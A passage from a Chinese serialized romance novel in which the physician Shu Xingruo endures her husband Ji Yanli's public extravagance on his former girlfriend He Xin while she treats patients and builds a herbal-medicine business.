季宴礼说:“你不用在我这样的废人身上浪费时间,你爬上我的床无非就是要钱,我死了以后,季家的钱都是你肚子里孩子的。”
舒星若一把拽过他的衣领,字字诛心的说:“季宴礼,你给我好好活着,你要是敢死我就拿着你的钱去找男模,我找十个。你受得了你就去死。”
季宴礼面色铁青:“舒星若,你敢?”
舒星若恶狠狠的说:“你敢死我就敢找男人。”
季宴礼沉重的闭上眼睛,慢慢的说道:“好,我不自杀了。”
舒星若日复一日的给他治疗,每天大部分时间用来研究医书、药材。
季宴礼被灌下一碗接一碗的苦药,苦不堪言。
好在半年之后,他可以下地做物理治疗了。
舒星若的肚子也大了起来,季宴礼重拾生活的信心。
大刀阔斧的在季氏内部搞起了改革,开源节流双管齐下,季氏很快起死回生。
舒星若生下季知许的那天,季宴礼已经可以拄着拐杖慢慢走路了。
他抱起季知许的那一刻,仿佛自己也得到了新生。他望着病床上虚弱的舒星若,是这个女人给了他新的生命。
舒星若月子里依然坚持给季宴礼针灸开药,直到季知许百日时彻底康复。
这些年季宴礼已经习惯了舒星若在身边,他虽然痛恨当年的算计,但是如果没有她,他也不复存在。
季宴礼打给他的银行专属经理:“往我太太卡里打五百万。”
舒星若在车上收到到账信息,心里没什么感觉。一直以来季宴礼给,她就花,不给她也不主动要。
季宴礼见她半天没反应,给她发了条信息:【好好照顾自己和孩子,别出岔子了。】
舒星若回:【知道了!】
季宴礼心里一阵发堵,舒星若如今待他冷淡疏离,再不复从前温柔体贴的样子了。
他收敛心神,特意挑了一条跟何欣裙子很搭的领带。
科技馆的一楼大厅里,苏容泽已经带着苏恬到了。
苏容泽穿了一件蓝色毛衣配卡其休闲裤,跟他平时穿定制西服时判若两人。
今天的他清爽得像男大,英俊中透着朝气,跟季宴礼身上那种上位者的戾气截然不同。
巧的是舒星若穿的是蓝色卫衣,远看两个人像穿情侣装。
苏容泽开玩笑说:“你老公看见我们的穿着,他又要发疯了。”
舒星若说:“他今天要陪他小三,没空搭理我。”
苏容泽刚想说话,被两个激动的小朋友打断了。
他们都是航天迷,直奔三楼宇航天地。
到了三楼,季知许拉着苏恬到处逛。宇航天地规划了宇航知识区、宇航训练体验区、宇航成就陈列区和太空剧场四个区域。
季知许如数家珍的给她科普各种航天知识,两人逛了一会停在火箭发射区域。
这块区域摆放了很多火箭模型,季知许带着苏恬一一看过去。
两个大人在一旁等,舒星若问苏容泽:“你刚想跟我说什么?”
苏容泽笑笑:“没什么!”
他其实想说舒星若没必要受这份委屈,他可以帮她打抚养权官司。但又觉得不妥,自己并不是她的谁。
看着舒星若开心的脸庞,他觉得至少这一刻她是快乐的。
以后的事以后再说。
如果她受委屈,他会出手的。
广袤的宇宙,繁星闪烁,充满了神秘感。
不光小朋友玩得开心,两个大人也玩得不亦乐乎。
玩游戏的时候,苏容泽不小心碰到了舒星若的手,他修长的指尖一阵麻酥感。忙缩了回去。
他们又来到球幕影院体验傲游太空。
天象仪演示的星空逼真准确,并能模拟在地球上、太阳系中任何地方、任何时候所看到的星空和星空运动。
许多罕见的天文现象,如日食、月食、彗星、流星雨等现象都能在球幕影院内再现和预测。
看得两个小太空迷大叫过瘾。
中午他们在科技馆里面吃饭,吃饭的时候林安禾给舒星若发信息:【你那个二货老公带着小三招摇过市,为了她在拍卖会上点天灯。】
第31章 季总豪掷千金
“点天灯?”舒星若不明白是什么意思,上网查了一下。
顿觉胃里翻江倒海,呵呵,季宴礼还真恋爱脑,豪掷千金为博红颜一笑。
最得意的应该是何欣,想起何欣那张洋洋得意的脸舒星若就厌烦不已。
舒星若回:【他自己的钱,爱怎么花就怎么花。】比起拍卖会上的大手笔,刚给她打的五百万像打发叫花子。
林安禾感慨:【这搁普通人的婚姻里,你可以起诉把这钱要回来。小三花的都是夫妻共同财产,可惜你们有婚前协议。】
舒星若不爽的是便宜了何欣,他们母女俩可这她这一根羊毛薅。
关上手机,舒星若脸色有点难看,苏容泽察觉到了异样。
“发生什么事了?”
舒星若说:“有空给你讲我和何欣母女的恩怨情仇,今天陪孩子们好好玩。”
午饭过后,两孩子又在一楼和二楼玩疯了。季知许体力特别好,玩到最后苏恬只能由苏容泽抱着走,季知许还在撒丫子的疯跑。
苏容泽一脸同情的望着舒星若:“你是真辛苦。”
舒星若淡淡一笑:“还好,习惯了。”
终于到了闭馆时间,苏容泽提议去陆家嘴吃饭,有一家餐厅苏容泽觉得他们都会喜欢吃。
还没等舒星若说话,两小朋友就拍手同意。
舒星若:“你俩现在简直就是连体双胞胎。”
季知许小嘴一撅:“恬恬是我见过的最聪明的女生。”
苏恬附和道:“许许哥哥教了我很多知识。”
舒星若笑着说:“你们俩都是最牛的小朋友。”
在车上的时候,季知许选了他最满意的照片发九宫格朋友圈,配文:【科技馆太好玩了,有恬恬陪更好玩!】
季宴礼此时已经带着何欣在吃饭,他等餐时间翻了翻手机,看到了儿子的朋友圈。
那个叫恬恬的小姑娘不是苏容泽家的吗?
果然他发现有一张照片背景里,舒星若和苏容泽站在一起,他们竟然还穿着情侣装。
舒星若,你竟敢骗我?
季宴礼走出包厢,打给舒星若。
舒星若还在开车,按了接听键,季宴礼气急败坏的声音响遍整个车厢。
“舒星若,你不是说你跟苏容泽没关系吗?怎么连情侣装都穿上了?”
舒星若皱眉,苏容泽猜得果然没错。
“是儿子和他侄女约的今天来科技馆玩,儿子问过你,你说没空。我跟他穿同色系衣服是凑巧而已。”
季知许在后面说:“对呀,爸爸,我昨天打电话问过你的。苏叔叔没有跟妈妈牵手,他都是牵恬恬的。”
季知许的解释让季宴礼爆炸的心情缓和了一些,“爸爸确实今天有事,下周爸爸带你出去玩。”
舒星若冷笑一声:“是啊,忙着帮别的女人点天灯。”
季宴礼不悦:“你非要当着孩子的面说这些吗?”
舒星若呛道:“你敢做还怕我说?你的光荣事迹明天肯定上新闻,儿子自己也会看到。”舒星若是一点都不想跟他过了,不再哄着他,高兴说什么就说什么。
季宴礼默不作声的挂了电话,心里像堵了一块大石头,他在考虑晚上要怎样安抚季知许。
见他打完电话回来闷闷不乐,何欣马上贴心的询问:“阿礼,是遇到什么烦心的事了吗?”
她声音温柔似水,像一道清泉一样流淌过季宴礼的心田。
季宴礼心头那点子烦恼顿时烟消云散,“没事,有你在我身边怎么会有烦恼呢?”
这家餐厅在海市最高建筑物的顶层,半个海市的夜景尽收眼底,拿来当求婚场地正合适。
何欣以为好事近了,想不到季宴礼整晚没什么反应。
何欣回家之后,拿出今天拍卖会上买的整套复古珠宝,是国外皇室用品。
璀璨的珠宝光芒万丈,田玉芬还没见过成色这么好的宝石。
田玉芬问:“这一套花了多少钱?”
何欣:“一个小目标。”
田玉芬跟何宏立刻眉笑眼开,尤其是田玉芬,直夸何欣能干,“你当年跟杨家那小子,整整六年也就搞了这么多钱。还是姓季的大方,一出手就是一个亿。”
何欣苦恼的说:“可惜他一直不肯离婚,这点钱对季家来说是九牛一毛,坐上季太太才风光无限呢。”
田玉芬并不认同:“你看舒星若那个废物风光吗?季宴礼从来不公布她的身份。你就跟季宴礼玩着,他掏钱就行了。你想办法给他生几个孩子,姓舒的自然就得滚蛋。”
何欣点点头:“季宴礼最喜欢我的柔情似水,我得再练练。”
她回房间对着镜子练习痴缠哭三术,务必让季宴礼沉迷得难以自拔。
舒星若,就让你先得意一阵子。
何欣恨恨的想,她一定要把她像烂泥一样踩在脚下。
季宴礼在拍卖会上点天灯的事富豪圈子里迅速传开了,苏容泽在饭桌上把群里的消息给舒星若看。
【啧啧,季总是真有钱,一亿现金眼都不眨就拿出来了。】
【为博红颜一笑,倒真是出手大方。】
【我要这么干,我爸非打死我不可。】
【那个女人到底什么身份啊?也没多绝色啊?】
【听说是他大学时期的初恋。】
……
一亿?舒星若蹙眉,季宴礼还真是大方啊。何欣拿了这套珠宝,日子更加风生水起。
干不掉她,舒星若最难受。
眼见舒星若眉头紧拧,苏容泽说:“你当年是怎么看上季宴礼的?他无脑到这种地步,那个何欣一看就是个顶级绿茶。”
舒星若苦笑:“我当年脑子一根筋,现在不会了。”她压低声音说:“不瞒你说,我现在就想搞好药厂,远离渣男。”
苏容泽拿起杯子与她轻轻碰杯:“祝舒大夫前程似锦,幸福安康。”
舒星若笑:“有苏总的吉言,我一定会成功的。”
舒星若到家的时候,季宴礼已经洗漱好了。他穿着深V真丝睡袍,饱满的胸肌若隐若现。坐在客厅的沙发上,像是要勾引舒星若一样。
舒星若视若无睹,牵着季知许直接上楼了。
“砰”,季宴礼一把摔了手中的水晶杯。
第32章 终于想起来有老婆了
季知许被玻璃碎裂的声音吓了一大跳,舒星若握紧他的小手,冷静的走进电梯,连头都没回。
季宴礼冲过来的时候,电梯门已经关上了。
出了电梯之后,舒星若让楼上的佣人带季知许去洗澡,她拿衣服准备去浴室。
季宴礼眼里冒火的冲上来,从身后一把拉住舒星若,舒星若刚转身就被季宴礼吻住。
她一个踉跄差点跌倒,季宴礼扶住她的纤腰,侵占似的狠狠的吻着。
舒星若扔掉衣服,用尽所有的力气推开他。她怒道:“季宴礼,你到底要干什么?”
季宴礼的眼神里藏着一层雾气:“我干什么?我亲自己的老婆不行吗?”
舒星若冷笑:“你现在想起来我是你老婆了?跟何欣在外面招摇过市的时候你还记得自己结过婚吗?”
季宴礼不顾她的挖苦,欺上前来,想继续吻她。
舒星若一个巴掌狠狠的扇过去,这个巴掌她几乎用尽所有力气,季宴礼光洁的脸上浮现一只清晰的掌印。
季宴礼顶腮,一脸桀骜不驯的盯着她:“舒星若,我对你的耐心有限,你别逼我对你用强。”
舒星若冷冷的望着他,指着自己的肚子说:“你来呀,有种你就杀了这个孩子。”
一想起她肚子里还有孩子,季宴礼如泄气的皮球,颓然的离开了房间。
没多久之后,舒星若看见他的车开了出去。
现在舒星若倒是希望他夜不归宿,不要来烦自己。
季宴礼离家之后,住进了酒店。他见舒星若一直不打电话给自己,自己给她打,她却关机了。
气得季宴礼把手机给砸了。
他恨恨的说道:“舒星若,我要你哭着求我回家。”
脑海里舒星若的脸庞更加清晰,近几日,他不知怎么的,总是想起舒星若给他治病时的种种。
那时的她温婉美丽,像一束光一样照耀着他。
他自言自语道:“只要她打电话叫我回家,我就回去。”
季宴礼在拍卖会上的事果然上了娱乐版头条,评论区无数女人都在羡慕何欣。
【一亿的珠宝说买就买,季氏总裁真会纯爱!】
【这个何欣什么来头啊?】
【听说是季宴礼的初恋,可是有钱人纯情,你们信吗?】
【我是季氏的员工,季总还提拔何欣做旗下公司的CEO,真的很爱。】
【楼上的,你们老板有没有给股份给她?】
【不给股份也没关系,早晚都是总裁夫人。】
……
季知许早上玩平板看到了这条新闻,气得早饭都吃不下。
他问舒星若:“妈妈,爸爸是不是脑子坏掉了,怎么能给那个坏女人花这么多钱?”
舒星若夹了一只鲍鱼饺子放进他碗里,解释道:“嗯,他确实脑子不好使。不过钱是他挣的,他有自由支配的权利。”
季知许气鼓鼓的说:“那也不是他这么干的理由。”
舒星若说:“我和你爸爸关系不好,已成定局,不能影响你的心情,尤其是不能不吃饭。”
季知许胡乱的吃了一点早餐,舒星若有些心疼他,抱怨自己把婚姻生活过得一团糟,影响到了孩子。
她决定等季宴礼回来跟他好好谈谈。
季知许上楼以后越想越气,转手把新闻推给了季家安。
季家安看得心脏病差点复发,叫季宴礼回老宅。
韦瑛劝他:“宴礼被那个女人迷得五迷三道,谁的话他能听得进去?你叫他来不是找气受吗?”
季家安问:“星若现在是什么态度?”
韦瑛痛心道:“我看星若已经死心了,打算离婚。可能是怀了孩子,才打消了念头。不过宴礼这么折腾下去,星若离开他是早晚的事。”
季家安对韦瑛的话深以为然,他靠在椅子上思索了好长一段时间,决定拿出些手段对付儿子。
季宴礼两小时后回到了老宅,见到面色铁青的季家安,他一副无所畏惧的样子。
季家安说:“季氏自打交给你之后,我从来没有过问过。闹出这样的桃色新闻你觉得好看吗?”他将平板扔给季宴礼。“你让供应商、客户、投资人都来看你笑话吗?”
季宴礼挑眉瞟了一眼,警觉的说道:“爸,你可是从来不看娱乐新闻的。”
季家安没好气的说:“是你儿子发给我的。”
“许许?”季宴礼蹙眉,果然舒星若又叫儿子帮忙。
真是个不知悔改的女人。
季家安郑重的警告:“我知道你跟星若没有感情,男子汉大丈夫敢作敢当,你实在不想跟她过了趁早离婚,省得闹出这样的丑事来伤害她。你口口声声说何欣是你的救命恩人,星若何尝不是?是她给了你生的希望。眼下她又怀孕了,你不仅不善待她,还跟别的女人出双入对。也就是她心眼实,不跟你计较,换作别的女人只要她公开结婚证书,摆明朱马跟你离婚,我看你怎么收场?”
季宴礼满不在乎的脸逐渐严肃了起来:“我知道了。”
季家安威胁道:“如果你继续任意妄为,我不介意召开股东大会罢免你。”
季宴礼知道父亲言出必行,他将这所有的责任全部归结到舒星若头上,一点小事竟然闹到父亲这里来。
“行,那我就冷着你。”季宴礼想。
接下来的一个礼拜季宴礼都没有回家,舒星若漠不关心,一个电话也不给他打。
每晚他和季知许视频的时候,舒星若一定避开,从未出现在镜头里。
季宴礼心里的那口气越来越不顺,每天在季氏阴沉着一张脸像乌云压顶。
所有的人都小心翼翼,生怕挨一顿批。
何欣来办公室找他的时候,他脸色会稍微好一点,千年寒冰消融了一个小角。
何欣说:“明天有个奢牌的冬装发布会,他们给了邀请函,你陪我一起去可以吗?”
季宴礼想答应来着,想起父亲的警告,他去了估计又要上娱乐版头条,拒绝道:“我就不去了,你看上什么刷我的卡就行。”
何欣泪眼盈盈的望着他:“阿礼,最近你为什么成天闷闷不乐?”
第33章 先兆流产
季宴礼将头重新埋进文件中,何欣很识趣的退了出来。
她接到田玉芬打来的电话:“我在医院看到舒星若看产科,她怀孕了。”
“怀孕了?”何欣脑袋嗡的一声,怪不得最近季宴礼情绪怪异。
连陪自己都不愿意了。
田玉芬问:“她这一怀孕,季宴礼会不会回心转意,跟她和好了?”
何欣也担心这点,之前她收买季家的佣人,有个叫文友兰的告诉她,季宴礼跟舒星若关系很差,两个人都是分房睡的。
这怎么突然怀上了?
何欣心烦意乱,挂了电话之后给文友兰发信息:【舒星若是不是怀孕了?】
文友兰回:【是的,不过上周末他们大吵了一架,先生一直没回家。】
看到这条信息,何欣才稍稍安心。她给文友兰转了两万,【帮我继续盯着他们,有什么事及时告诉我。】
【谢谢何小姐。】
舒星若去医院是因为她出血了,这个孩子有先兆流产的风险。
她整日忧思过度,加上公司的事操劳,身体亏损得厉害。
舒延兆给她开了保胎的方子,叮嘱道:“少思少虑,不要操劳。否则这孩子难以保得住。”
舒星若心下烦闷,马上要交标书了,公司事情一大堆,她哪有时间修生养息?可是如果不休养的话,孩子没了。
她是个极爱孩子的人,眼下的情况进退维谷。
舒延兆看出她的为难,叹气道:“我给你扎一次针,药熬好了我让人给你送过去,有不舒服就尽快回来。”
舒星若点点头,去约定的地方见易昌。
他们见面的地方是一家私人会所,私密性非常好。
易昌见舒星若脸色很差,面带病容,忙问:“少奶奶,您这是病了?”
舒星若艰难的挤出一个微笑:“没事,有点贫血。”
易昌担忧的看了她一眼,也不好追问。
舒星若开门见山:“昌叔,瑞祥的投标价定了没有?”
易昌答:“定了,九千五百万。”
“这么高?”舒星若震惊得难以置信,“季宴礼知道这个标价吗?”
易昌叹了口气:“我们开始定的价格是七千万,昨天少爷特意指示我们改成九千八百万。按照平常来说,他是不会给这么高的溢价的。这几天他阴晴不定,行为很是奇怪。”
舒星若听到这个数字内心是绝望的,她弄不明白季宴礼的意思。
易昌说:“少奶奶,这个价钱你们还要投标吗?”
舒星若不置可否,她得好好的想一想。
回到公司之后,舒延兆已经叫人把药送过来了。
她正在办公室喝中药的时候,苏容泽过来了。
苏容泽满面春风,似乎有什么喜事。
他进来见到舒星若在喝中药,眉宇间立刻紧张了起来:“舒大夫,你这是怎么了?”
舒星若喝完苦药,脸快皱成抹布了,剥了一颗巧克力放进嘴里,含了一会脸色才好一些。
她顺手递了一颗给苏容泽,“有流产先兆,我外公给我开了药调理,叫我不要太劳累。”
苏容泽大惊:“那你这还不回家好好躺着,季宴礼是死的吗?”
季宴礼知道真相的事,舒星若之前已经告诉苏容泽了,感谢他对自己的帮助。
舒星若苦笑:“他已经很久没回家了,不过不回来我倒是乐得清静。你找我有什么事?”
苏容泽有些不好意思开口,舒星若问:“是不是你外婆有新的情况,你但说无妨。”
苏容泽说:“我外婆可以说话了,虽然是简单的几个字,但是我觉得有必要来告诉你一声。”
舒星若大喜过望:“我原来以为最快得吃完这个月的药呢,太好了,明天我去给她看看。”
苏容泽担忧的问道:“你这身体能扛得住吗?”
舒星若想了想,说道:“我看情况吧,实在不行,让你舅舅送她过来也行。”
苏容泽坚定的说道:“送我外婆过来,你不要来回奔波了。”
“行,明天你提前发定位给我,我自己过去。”
苏容泽:“我来接你吧。”
舒星若迟疑了一下,因为明天是周末,她也不确定季宴礼会不会回来。
苏容泽说:“不方便的话,我派人去接你。”
“好!”
出门的时候他看了看手中的巧克力,巧了,这是他唯一吃的流心巧克力。
他送进嘴里,似乎比平时的更甜一些。
舒星若翻看了公司准备的所有资料,他们已经咨询过东盛银行,拿下这块地,能批下来的贷款最多只有五千万。
光首批设备就得三千多万,加上厂房建设费用、前期原料采购费用和营销费,如果将竞标价调到九千八百万以上,他们根本就没有多少流动资金。
冒的风险实在太大了,舒星若当下决定启用备用方案。
目前实验室出来的几个产品,她委托市场调研公司去做调查报告。
市面上比较好的市场调研公司就几家,其中就有东盛集团旗下的扶风调研,他们的CEO叫姚云,在业内名气颇大。
舒星若联系了他的助理,约着两小时后见。
扶风调研在东盛大厦的八楼,占据了整层,实力不俗。
姚云三十出头,剑眉凤目,穿一身银色西装,气场颇足。
舒星若带着袁晶过来的,各自介绍了一番,袁晶将产品资料递给姚云。
姚云之所以亲自接待他们,就是对他们的产品感兴趣。
姚云认真研读了资料,他说:“这些产品确实不错,而且能弘扬中医药文化。只是我司的调研费大概需要五十万,调研期2-4周。详细内容周一发合同给您。”
袁晶问舒星若:“舒总,费用有问题吗?”
舒星若:“没问题。”
袁晶说:“我们需要市场细分与目标客户定位、市场规模与增长潜力评估、消费者行为与态度研究这三个方面详细内容。”
姚云赞赏道:“袁经理果然专业,这三个方面是我司的招牌,保证会让你们满意。”
舒星若说:“好,那就期待贵司的专业报告。”
“合作愉快!”
姚云亲自送两人出去。
他问舒星若:“舒总,冒昧的问一句,您跟行止堂有关系吗?”
第34章 你不急我急
舒星若说:“行止堂是我外公的。”
姚云笑了:“原来是舒老先生的外孙女,怪不得贵司叫行止生物科技。当年我的腿就是他老人家给我治好的。”
舒星若惊奇:“这可太巧了。”
姚云说:“是啊,当年我高考完去工地打工挣学费,摔断了腿,所有的医院都说会残疾。我当时真的想死,我妈天天在家以泪洗面。后来我妈听人说行止堂治病很厉害,就带我去了。舒老先生帮我接了骨,开了五副药。他还安慰我,叫我不要放弃,一定会好的。果然没一个月就拆了石膏,开学的时候就健步如飞了,什么后遗症都没有。关键是他老人家收费是真便宜,前后只花了三百块。”
袁晶不禁竖起了大拇指:“这么好的医术,收费还便宜,舒总,你外公可真了不起。”
舒星若微笑:“嗯,其实我也想悬壶济世的,可惜为了某些事只能来做生意。”
姚云十分激动的说:“舒总,要不今晚我请二位吃饭,顺便商量一下合同的细节。行止堂对我有大恩,我想尽快帮你把报告做出来。”
舒星若倒不介意加班,她问袁晶:“袁经理,你方便不?”
袁晶听到行止堂的事迹信心倍增,“没问题,我们一起去。”
他们下楼收拾了一下,出门的时候袁晶问舒星若:“舒总,你是放弃投标了吗?”
舒星若叹口气道:“我今天收到消息,瑞祥的投标价特别高,大大超出了我们的预算。我们希望不大,只能启动预备方案。”
袁晶疑惑:“瑞祥制药怎么突然发疯?他们一直很稳健的。”
舒星若心想,季宴礼大概是疯了。
两人下楼各自开车,去了姚云发的位置。
姚云定了海市最好的粤菜馆,他记得舒延兆说过他是广东人,舒星若应该比较喜欢粤菜。
但舒星若因为怀孕反应,胃口不佳,面对一桌子美食只吃了几口便放下了筷子。
姚云关心的问:“舒总,菜不合胃口?”
舒星若摇头,“不是,是我近期身体不太舒服。你有心了,特意选了粤菜。”
袁晶说:“这顿饭姚总确实大手笔。”
姚云端起杯子喝了一口普洱,“跟舒老先生比起来,这点不算什么。”
舒星若不以为然的说:“外公行医就是为了帮助人,对他而言只是举手之劳。”
姚云说:“嗯,我知道他医者仁心。但我希望能回报一二。市场调查报告我会亲自带团队去做,你们送来的七个产品,我每一个都会去调研。时间尽量压缩在两周,另外我会附送一份营销策略给贵司。合同我已经带过来了,没问题的话我们签约,明天就加班开始调研。”
姚云从公文包里取出临走前打好的合同,袁晶看了一遍,对舒星若说:“没问题。”
舒星若签了字。
她对姚云说:“姚总不用急着加班,我也不是很着急。”
姚云却说:“我着急,我是真心希望能帮你,让贵司的产品上市即大卖。使更多人受惠于中医药。”
袁晶和舒星若同时笑了,舒星若举杯,其他两人也举杯,舒星若说:“那就借姚总吉言,希望行止的产品大卖。”
姚云微微一笑:“那是必须的。”
回到家,季知许已经上床了,他一边玩魔方一边等舒星若给他讲故事。
见舒星若一脸疲惫,小家伙立马伸出小手摸了摸舒星若的额头,发现不烫,心安了些许。
“妈妈,你这是怎么了?”
舒星若说:“妈妈工作累了,没关系,你不用担心。”
文友兰将热好的中药端上来,舒星若皱着眉头喝了下去。
舒星若叫文友兰去下楼。
文友兰走了之后,季知许问:“妈妈,你是生病了吗?”
舒星若点头:“有一点点,许许不用担心,你太爷爷帮我看了,没有大问题。”
季知许抱着舒星若:“妈妈,你不舒服,那我明天不跟恬恬出去玩了。”
他跟苏恬约好了去迪士尼玩。
舒星若说:“妈妈明天有事,陪不了你了,要不你问问你爸爸。”
“好!”
舒星若回了自己房间,季知许给季宴礼打电话:“爸爸,明天能陪我去迪士尼吗?”
季宴礼问:“是你妈叫你打电话的吗?”
“嗯。”
季宴礼心中一阵窃喜,“好,明天早上爸爸来接你。”
文友兰给何欣发信息:【她在喝中药,脸色看起来不好。】
何欣:【她喝的中药留一点样给我。】
文友兰:【好!】
季宴礼翌日上午到的时候,舒星若已经被苏容泽派的车接走了。季宴礼只见到儿子,心里有些失望。
季宴礼问:“你妈呢?”
季知许说:“妈妈说她有事,早上就被车接走了。”
“接走了?是谁?”
季知许摇摇头,季宴礼沉闷的上车。
上车之后季知许问道:“爸爸,你为什么一直不回家?”
季宴礼:“爸爸最近比较忙。”
季知许:“那你忙完了会回家吗?”
“忙完了就回。”
季家别墅没人之后,文友兰偷偷的将舒星若的药留了一份,何欣叫人来取走了。
舒星若被苏容泽的车接到吉家,甘净莲见到舒星若十分开心,喊道:“舒……医……生……你……好……”
她说话速度极慢,舒星若耐心的听完,笑着说:“甘奶奶,您好。”
舒星若伸手搭脉,又查看了甘净莲的舌头和周身关节,让护工将甘净莲抱上床。
她打开针囊先在上半身扎针,针留了半小时后取下。
取针后,舒星若让甘净莲试着说话,甘净莲慢悠悠的说出:“谢谢你!”
苏容泽听到这连贯的三个字,感动得差点要将舒星若抱起来转圈圈。
他抑制住了内心的冲动。
“太棒了!”苏容泽赞赏道。
接着舒星若又在甘净莲的腿部扎针,这次针留了四十分钟。
取完针之后,舒星若让护工搀着甘净莲下床,试着让她走路。
苏容泽惊奇:“外婆可以起身了?”
舒星若说:“试试。”
突然闯进来一名年轻男人,喝道:“你们在干什么?”
第35章 苏总喜欢人妻
舒星若抬头:“你是谁?为什么阻止我治病?”
男人跟苏容泽长得有几分相似。
男人说:“我外婆的身体经得起你这样折腾吗?”
苏容泽上前来呵斥道:“杨思淼,不许胡闹,舒大夫已经将外婆治得差不多了。外婆现在可以说话,上半身活动自如。现在只差走路了。”
“治得差不多了?”杨思淼震惊得声音都变了调,他诧异的望着舒星若,他印象里的资深中医都是老年人,她年轻貌美,能有这等医术?
脸上写满了难以置信。
苏容泽示意护工继续,在护工的搀扶下,甘净莲艰难的迈出了第一步。
这一步太难,僵硬已久的下半身突然活动,痛得她满头大汗。
但是她实打实的可以迈步了,甘净莲的脸上浮现笑容。
舒星若说:“继续。”
又迈出了第二步第三步,虽然每一步都想走在钢刀上,但能再次行走,甘净莲的内心雀跃无限。
走了十步之后,甘净莲已经浑身湿透。
舒星若对护工说:“可以扶甘奶奶坐下了。”
甘净莲坐下以后,舒星若蹲下来对她说:“甘奶奶,您颅内的淤血散得差不多了,我给您再开五副药。您每天做物理复建至少一小时,不出三个月就能恢复如常。”
苏容泽和甘净莲脸上喜气洋洋,杨思淼还在持续震惊中。
瘫痪在床快一年的外婆就被她治好了?那自己是不是也有救了?
舒星若像以往一样写完药方交给苏容泽,她微凉的指尖划过苏容泽的手,苏容泽手一颤抖,药方掉在地上了。
舒星若笑道:“苏总,不要这么激动嘛,甘奶奶能这么快好也靠自己强大的意志力。”
苏容泽:“嗯,我是太高兴了。”
他俯身把药方捡起来,交给了宗司辰。
自己去送舒星若出门,杨思淼悄悄的跟了上来。
苏容泽纳闷道:“你这是干什么?”
杨思淼略带卑微的说道:“二哥,我可以跟舒大夫单独聊聊吗?”
苏容泽蹙眉:“有什么事不能当我的面说吗?”
杨思淼:“求你了!”眼神中满是祈求。
一向不可一世的杨思淼竟然如此卑微,苏容泽不由得紧张起来,“你到底遇到什么事了?”
杨思淼低头不语。
舒星若大方的走上前来,对苏容泽说:“你就回避一下呗,我跟他聊聊也没多大事。”
苏容泽默默退了回去。
只剩下两个人的时候,舒星若问:“你是不是不举?”
杨思淼惊得眼珠子都快掉出来了,“你怎么知道?”
“哦,男人一般就这个事难以启齿。”舒星若一副了然于胸的样子。
两人在院子里的凉亭里坐下,杨思淼伸出手来让舒星若号脉,舒星若号着号着开始叹气,又看了看他的舌头。看完摇了摇头。
杨思淼被吓得半死,脸上的血色逐渐褪去,他声音颤抖的问:“我这是没救了吗?”
舒星若说:“那倒也不是,只是你这年纪轻轻的怎么就把自己折腾成这副样子呢?一夜三次郎吗?还是夜夜多人行?”
舒星若的话把杨思淼说得面红耳赤,杨思淼说:“那个舒大夫,我可以不提我的隐私吗?”
舒星若看了他一眼说道:“望闻问切,我得知道你的具体情况才能对症下药。”
杨思淼说:“那你得保证不告诉我二哥。”
“行!”
“我从三个月前开始感觉力不从心,有时候很难起来,大量刺激后起来也不超过一分钟。吃了药也还那样。去看了医生,医生说没法治,可以每次吃药。”
舒星若问:“那你之前的生活方式是怎样的?几个女伴?”
“我从二十岁开始玩,一开始是开派对,也就一个。后来遇上了一个活特别好的,她太会玩了,一般我们三一起。最多的时候四个女人一起。”
舒星若心想:“这么玩还能玩好几年,这小子底子是真好。”
心里虽然吐槽着,她脸上神色却不显,掏出纸笔给他写了一个药方。
“你照这个方子吃一个月的药,吃药期间禁欲。”
杨思淼接过药方,不可思议的说道:“一个月就能好?”
舒星若摇头:“下个月我得看你身体情况换药方。”舒星若拿出手机跟他加了微信,留了他的电话。“你身体有什么不舒服的及时跟我说。”
“那多久能好呢?”
“快则三个月,慢则一年。”
要禁欲一年,杨思淼感觉五雷轰顶。
舒星若暗自好笑,但又不能笑出来,憋笑快憋出内伤了。
她忍着笑给苏容泽打电话:“苏总,我这边好了,你可以来送我了。”
快到午饭时间了,苏容泽说:“要不你吃了午饭再走吧。”
舒星若也饿了,便答应了下来。杨思淼带舒星若去别墅的餐厅,他离舒星若远远的,生怕她嘲笑自己。
苏容泽见两人隔了八百米的走路,感觉这两人关系更怪异了。
他吩咐厨师做的全是清爽开胃的菜,舒星若尝了几口,食欲大开,大快朵颐起来。
芙蓉酸汤牛肉羹,舒星若连续喝了两碗。
苏容泽看着舒星若吃饭,眼里满是笑意,杨思淼小声说:“二哥,你是不是看上她了?”
苏容泽说:“别胡说八道,她还没离婚。”
杨思淼惊得嘴都合不上:“卧槽,你喜欢人妻?”
“滚蛋!”
声音太大惊动了舒星若,她诧异抬头:“什么事?”
杨思淼说:“他叫我滚蛋。”他还要说什么,苏容泽塞了一块糖醋里脊进他嘴里:“闭嘴,好好吃饭。”
吃完饭以后,苏容泽亲自开车送舒星若回去。
苏容泽问:“刚我表弟找你是干嘛?”
“他让我保密,病人隐私。”
是病患关系,那就没事了。
苏容泽接着说道:“他在国外刚回来,一回来就看上了中医,这小子倒是神秘的很。”
“他这是从善如流。”
舒星若边说边打哈欠,她最近容易犯困,苏容泽说:“累了你就眯一会,到了我叫你。”
“嗯。”
舒星若便沉沉睡去。
她是被林安禾的电话吵醒的。
“最近查到了一点东西,六年前季宴礼出车祸那天,何欣跟一个叫杨思淼的男人去了M国。”
“杨思淼?”舒星若惊得抬高了声音。
第36章 看见他就恶心
林安禾察觉到她的惊异,问道:“你认识杨思淼?”
“是我的病人,刚给他看的病。”舒星若想起杨思淼说他有好几个女人,也不知道何欣是老几。突然觉得这事画风搞笑了起来。
林安禾开心的说道:“那太好了,你可以找他问问关于何欣的事。说不定能问出点什么来。”
“好!”
挂了电话,苏容泽问:“方便跟我说说吗?”
舒星若说:“我拜托闺蜜帮我查点事,查到了你表弟头上了。”
苏容泽说:“是不是季宴礼的小三跟杨思淼有关系?”
舒星若佩服他的智商,苏容泽有些不开心的说道:“你既然都准备离婚了,为什么还要查那个女人?”
舒星若眼眸深沉的说:“因为我想报复她,她害过我,我不能轻易放过她。”
苏容泽暗暗松了口气说道:“你上次提过,有空会跟我讲你们之间的恩怨情仇,我随时洗耳恭听。”
舒星若的声音变得冰冷起来:“何欣的妈妈当年是我妈的闺蜜,我妈对她特别好,想不到引狼入室,她三了我妈怀上何欣。我妈知道后重度抑郁离婚了,后面病情加重在我三岁时自杀了。何欣原本是季宴礼的女朋友,她生日宴上我喝了一杯酒没了知觉,跟季宴礼在一起了。那杯酒是她朋友递给我的,她一口咬定是我自己设计的,季宴礼讨厌我就是这个原因。我跟季宴礼结婚以后她就出国了,直到三个月前她回国,季宴礼开始频繁的不回家,我决定离婚。但是季宴礼不知道怎么想的,死活不肯跟我离婚。”
